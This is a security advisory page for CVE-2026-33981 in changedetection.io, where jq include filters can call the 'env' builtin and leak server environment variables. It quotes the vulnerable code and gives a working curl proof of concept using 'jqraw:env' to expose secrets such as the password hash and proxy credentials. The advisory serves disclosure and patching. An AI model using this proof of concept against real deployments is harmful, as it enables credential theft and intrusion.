GHSA-58R7-4WR5-HFX8

Vulnerability from github – Published: 2026-03-27 19:11 – Updated: 2026-03-30 20:17
VLAI?
Summary
Changedetection.io Discloses Environment Variables via jq env Builtin in Include Filters
Details

Summary

The jq: and jqraw: include filter expressions allow use of the jq env builtin, which reads all process environment variables and stores them as the watch snapshot. An authenticated user (or unauthenticated user when no password is set, the default) can leak sensitive environment variables including SALTED_PASS, PLAYWRIGHT_DRIVER_URL, HTTP_PROXY, and any secrets passed as env vars to the container.

Details

Vulnerable file: changedetectionio/html_tools.py, lines 380-388

User-supplied jq filter expressions are compiled and executed without restricting dangerous jq builtins:

if json_filter.startswith("jq:"):
    jq_expression = jq.compile(json_filter.removeprefix("jq:"))
    match = jq_expression.input(json_data).all()
    return _get_stripped_text_from_json_match(match)

if json_filter.startswith("jqraw:"):
    jq_expression = jq.compile(json_filter.removeprefix("jqraw:"))
    match = jq_expression.input(json_data).all()
    return '\n'.join(str(item) for item in match)

The form validator at forms.py:670-673 only checks that the expression compiles (jq.compile(input)) — it does not block dangerous functions. The jq env builtin reads all process environment variables regardless of the input data, returning a dictionary of every env var in the server process.

PoC

Step 1 — Create a watch for any JSON endpoint with jqraw:env as the include filter:

curl -X POST http://target:5000/api/v1/watch \
  -H "Content-Type: application/json" \
  -H "x-api-key: <api-key>" \
  -d '{
    "url": "https://httpbin.org/json",
    "include_filters": ["jqraw:env"],
    "time_between_check": {"seconds": 30}
  }'

If no password or API key is set (the default), no authentication is needed.

Step 2 — Wait for the watch to be checked, or trigger a recheck:

curl "http://target:5000/api/v1/watch/<uuid>?recheck=true" -H "x-api-key: <api-key>"

Step 3 — The processed text file on disk now contains all environment variables:

{'SALTED_PASS': '...hashed password...', 'PLAYWRIGHT_DRIVER_URL': 'ws://browser:3000',
 'HTTP_PROXY': 'socks5h://10.10.1.10:1080', 'SHELL': '/bin/bash',
 'HOME': '/root', 'PATH': '...', 'WERKZEUG_SERVER_FD': '22',
 ... and all other env vars}

The data is visible in the web UI when viewing the watch's latest snapshot, and is also included in notification messages if notifications are configured.

Confirmed on v0.54.6: The processed text file stored 46 environment variables from the server process.

Impact

  • Secret exposure: Leaks SALTED_PASS (password hash used for authentication), enabling offline cracking or direct session forgery
  • Infrastructure credential theft: Leaks PLAYWRIGHT_DRIVER_URL, WEBDRIVER_URL, HTTP_PROXY/HTTPS_PROXY, database connection strings, and any API keys or tokens passed as environment variables
  • Cascading access: Leaked proxy credentials or browser automation URLs can be used to pivot into other internal systems
  • Affects all deployments using jq: Any instance where the Python jq module is installed (standard in Docker deployments) is vulnerable
  • No authentication required by default: changedetection.io ships with no password and the API accessible without a key, so this is exploitable by any user with network access in the default configuration
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.54.6"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "changedetection.io"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.54.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33981"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T19:11:16Z",
    "nvd_published_at": "2026-03-27T22:16:22Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `jq:` and `jqraw:` include filter expressions allow use of the jq `env` builtin, which reads all process environment variables and stores them as the watch snapshot. An authenticated user (or unauthenticated user when no password is set, the default) can leak sensitive environment variables including `SALTED_PASS`, `PLAYWRIGHT_DRIVER_URL`, `HTTP_PROXY`, and any secrets passed as env vars to the container.\n\n### Details\n\n**Vulnerable file:** `changedetectionio/html_tools.py`, lines 380-388\n\nUser-supplied jq filter expressions are compiled and executed without restricting dangerous jq builtins:\n\n```python\nif json_filter.startswith(\"jq:\"):\n    jq_expression = jq.compile(json_filter.removeprefix(\"jq:\"))\n    match = jq_expression.input(json_data).all()\n    return _get_stripped_text_from_json_match(match)\n\nif json_filter.startswith(\"jqraw:\"):\n    jq_expression = jq.compile(json_filter.removeprefix(\"jqraw:\"))\n    match = jq_expression.input(json_data).all()\n    return \u0027\\n\u0027.join(str(item) for item in match)\n```\n\nThe form validator at `forms.py:670-673` only checks that the expression compiles (`jq.compile(input)`) \u2014 it does not block dangerous functions. The jq `env` builtin reads all process environment variables regardless of the input data, returning a dictionary of every env var in the server process.\n\n### PoC\n\n**Step 1 \u2014 Create a watch for any JSON endpoint with `jqraw:env` as the include filter:**\n\n```bash\ncurl -X POST http://target:5000/api/v1/watch \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-api-key: \u003capi-key\u003e\" \\\n  -d \u0027{\n    \"url\": \"https://httpbin.org/json\",\n    \"include_filters\": [\"jqraw:env\"],\n    \"time_between_check\": {\"seconds\": 30}\n  }\u0027\n```\n\nIf no password or API key is set (the default), no authentication is needed.\n\n**Step 2 \u2014 Wait for the watch to be checked, or trigger a recheck:**\n\n```bash\ncurl \"http://target:5000/api/v1/watch/\u003cuuid\u003e?recheck=true\" -H \"x-api-key: \u003capi-key\u003e\"\n```\n\n**Step 3 \u2014 The processed text file on disk now contains all environment variables:**\n\n```\n{\u0027SALTED_PASS\u0027: \u0027...hashed password...\u0027, \u0027PLAYWRIGHT_DRIVER_URL\u0027: \u0027ws://browser:3000\u0027,\n \u0027HTTP_PROXY\u0027: \u0027socks5h://10.10.1.10:1080\u0027, \u0027SHELL\u0027: \u0027/bin/bash\u0027,\n \u0027HOME\u0027: \u0027/root\u0027, \u0027PATH\u0027: \u0027...\u0027, \u0027WERKZEUG_SERVER_FD\u0027: \u002722\u0027,\n ... and all other env vars}\n```\n\nThe data is visible in the web UI when viewing the watch\u0027s latest snapshot, and is also included in notification messages if notifications are configured.\n\n**Confirmed on v0.54.6:** The processed text file stored 46 environment variables from the server process.\n\n### Impact\n\n- **Secret exposure:** Leaks `SALTED_PASS` (password hash used for authentication), enabling offline cracking or direct session forgery\n- **Infrastructure credential theft:** Leaks `PLAYWRIGHT_DRIVER_URL`, `WEBDRIVER_URL`, `HTTP_PROXY`/`HTTPS_PROXY`, database connection strings, and any API keys or tokens passed as environment variables\n- **Cascading access:** Leaked proxy credentials or browser automation URLs can be used to pivot into other internal systems\n- **Affects all deployments using jq:** Any instance where the Python `jq` module is installed (standard in Docker deployments) is vulnerable\n- **No authentication required by default:** changedetection.io ships with no password and the API accessible without a key, so this is exploitable by any user with network access in the default configuration",
  "id": "GHSA-58r7-4wr5-hfx8",
  "modified": "2026-03-30T20:17:53Z",
  "published": "2026-03-27T19:11:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-58r7-4wr5-hfx8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33981"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/commit/65517a9c74a0cbe1a4661314470b28131ef5557f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dgtlmoon/changedetection.io"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Changedetection.io Discloses Environment Variables via jq env Builtin in Include Filters"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…